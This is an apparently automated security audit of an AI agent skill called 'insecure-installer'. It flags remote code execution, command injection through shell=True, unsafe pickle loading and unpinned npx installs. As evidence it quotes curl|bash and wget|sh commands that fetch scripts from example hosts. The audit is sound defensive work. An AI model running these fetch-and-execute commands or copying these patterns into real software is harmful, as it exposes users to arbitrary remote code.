insecure-installer
Fail
Audited by Gen Agent Trust Hub on Sep 1, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDYNAMIC_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill contains multiple instructions to download shell scripts from untrusted external domains and execute them immediately using piped shell commands.
- Evidence in
SKILL.md:curl -fsSL https://install.example.com/setup.sh | bashandwget -qO- https://tools.example.com/python-setup.sh | sh. - Evidence in
scripts/installer.py: Theinstall_toolfunction constructs a command stringcurl -fsSL https://install.example.com/{tool_name}.sh | bashand executes it viasubprocess.run. - [DYNAMIC_EXECUTION]: The skill uses the Python
picklemodule to load cached configuration files. Thepickle.load()function is inherently insecure as it can execute arbitrary code embedded within the serialized data. - Evidence in
scripts/installer.py: Theload_cachefunction opens~/.dev-installer/cache.pkland passes it topickle.load(f)without any validation. - [COMMAND_EXECUTION]: The skill executes shell commands using
shell=True, which is a risky practice that increases the attack surface for command injection. - Evidence in
scripts/installer.py: Thesubprocess.runcall uses string interpolation to build the command, which could be exploited if thetool_namevariable contains malicious shell characters. - [EXTERNAL_DOWNLOADS]: The skill invokes
npxto download and execute Node.js packages from the public registry without version pinning or integrity checks. - Evidence in
SKILL.md:npx -y @example/mcp-server-toolsandnpx -y some-unknown-mcp-package.
Recommendations
- HIGH: Downloads and executes remote code from: https://install.example.com/setup.sh, https://install.example.com/{tool_name}.sh, https://tools.example.com/python-setup.sh - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata